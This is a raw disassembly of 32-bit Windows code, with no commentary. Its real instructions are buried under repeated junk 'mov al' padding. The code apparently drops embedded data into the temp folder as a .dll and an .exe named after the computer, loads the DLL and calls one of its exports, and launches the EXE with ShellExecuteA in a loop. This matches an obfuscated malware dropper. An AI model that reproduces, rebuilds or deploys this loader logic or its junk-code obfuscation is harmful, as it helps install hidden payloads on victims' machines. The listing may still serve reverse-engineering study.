movsx eax, byte [ebp - 0x379]
test eax, eax
je 0x402423
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movsx ecx, byte [ebp - 0x379]
test ecx, ecx
je 0x402090
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 9], 0x68
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x230]
push edx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x408120
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x38c], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x230]
mov dword [ebp - 0x6b4], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x6b4]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x402153
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x6b4]
lea eax, [ebp - 0x230]
sub edx, eax
mov dword [ebp - 0x6b8], edx
jmp 0x402172
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x6b4]
add ecx, 1
mov dword [ebp - 0x6b4], ecx
jmp 0x402114
mov edx, dword [ebp - 0x38c]
add edx, dword [ebp - 0x6b8]
mov dword [ebp - 0x38c], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x120]
push eax
push 8
mov ecx, dword [ebp - 0x38c]
push ecx
call fcn.004030c0
add esp, 0xc
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push str..dll
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movsx eax, byte [ebp - 9]
cmp eax, 0x68
jne 0x402421
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movsx ecx, byte [ebp - 0x379]
cmp ecx, 0x31
jl 0x402219
movsx edx, byte [ebp - 0x379]
cmp edx, 0x38
jg 0x402219
mov dword [ebp - 0x870], 1
jmp 0x402223
mov dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x380], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movsx ecx, byte [ebp - 0x379]
cmp ecx, 0x61
jl 0x402261
movsx edx, byte [ebp - 0x379]
cmp edx, 0x64
jg 0x402261
mov dword [ebp - 0x874], 1
jmp 0x40226b
mov dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x874]
mov dword [ebp - 4], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
cmp dword [ebp - 0x380], 0
jne 0x402291
cmp dword [ebp - 4], 0
je 0x4022ca
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov cl, byte [ebp - 9]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0x11000
push 0x40a030
call fcn.004029b0
add esp, 0x10
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x724], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
cmp dword [ebp - 0x724], 0xffffffff
je 0x40231b
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x402327
mov dword [ebp - 0x728], 0
jmp 0x402331
mov dword [ebp - 0x728], 1
cmp dword [ebp - 0x728], 0
je 0x402421
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x3a8], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
cmp dword [ebp - 0x3a8], 0
je 0x402421
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x1c
call fcn.00403310
add esp, 4
mov dword [ebp - 0x384], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x408124
mov eax, dword [ebp - 0x3a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x46b3a0], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movsx ecx, byte [ebp - 0x379]
push ecx
call dword [0x46b3a0]
mov byte [ebp - 0x25e], al
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x3a8]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x40245c
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x384]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x402488
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x258]
mov dl, byte [ecx]
mov byte [ebp - 0x25e], dl
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movsx eax, byte [ebp - 0x25e]
test eax, eax
jne 0x4024ac
movsx ecx, byte [ebp - 0x379]
test ecx, ecx
jne 0x4024b7
movzx edx, byte [ebp - 0x231]
test edx, edx
je 0x4024d0
movzx eax, byte [ebp - 0x231]
test eax, eax
je 0x402934
cmp dword [ebp - 8], 0x78
jle 0x402934
mov dword [ebp - 8], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x25e], 0x68
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea ecx, [ebp - 0x230]
push ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x408128
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov dword [ebp - 0x25c], 0x7f
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x378]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x230]
mov dword [ebp - 0x38c], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x230]
mov dword [ebp - 0x7f4], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x7f4]
movsx edx, byte [ecx]
test edx, edx
jne 0x4025db
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x7f4]
lea ecx, [ebp - 0x230]
sub eax, ecx
mov dword [ebp - 0x7f8], eax
jmp 0x4025fa
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x7f4]
add edx, 1
mov dword [ebp - 0x7f4], edx
jmp 0x40259c
mov eax, dword [ebp - 0x38c]
add eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x38c], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea ecx, [ebp - 0x378]
push ecx
push 0xb
mov edx, dword [ebp - 0x38c]
push edx
call fcn.004030c0
add esp, 0xc
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push str..exe
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x848], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
cmp dword [ebp - 0x848], 0xffffffff
je 0x4026a5
movsx edx, byte [ebp - 0x230]
test edx, edx
jne 0x4026b1
mov dword [ebp - 0x84c], 0
jmp 0x4026bb
mov dword [ebp - 0x84c], 1
cmp dword [ebp - 0x84c], 0
je 0x4026cf
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x40270b
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov cl, byte [ebp - 0x25e]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0x50000
push 0x41b038
call fcn.004029b0
add esp, 0x10
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x378]
mov dword [ebp - 0x26c], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x26c]
mov byte [ecx], 0x22
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x402798
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x26c]
mov byte [ecx], 0x24
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
cmp dword [ebp - 0x26c], 0
je 0x4027b9
lea eax, [ebp - 0x120]
test eax, eax
jne 0x4027cc
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x40285d
mov dword [ebp - 0x86c], 0
jmp 0x4027e7
mov ecx, dword [ebp - 0x86c]
add ecx, 1
mov dword [ebp - 0x86c], ecx
mov edx, dword [ebp - 0x86c]
movsx eax, byte [ebp + edx - 0x120]
test eax, eax
je 0x402832
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x26c]
add ecx, dword [ebp - 0x86c]
mov edx, dword [ebp - 0x86c]
mov al, byte [ebp + edx - 0x120]
mov byte [ecx], al
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x4027d8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x26c]
add ecx, dword [ebp - 0x86c]
mov byte [ecx], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movzx edx, byte [ebp - 0x231]
test edx, edx
jne 0x4028bc
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x40812c
lea eax, [ebp - 0x378]
push eax
call fcn.004034e0
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x258]
push ecx
lea edx, [ebp - 0x378]
push edx
call fcn.004034e0
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x408130
lea eax, [ebp - 0x378]
push eax
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 1
push 0
lea ecx, [ebp - 0x378]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movzx eax, byte [ebp - 0x25d]
test eax, eax
jne 0x4029a0
cmp dword [ebp - 0x124], 0
je 0x4029a0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x231], 1
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401fe0
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10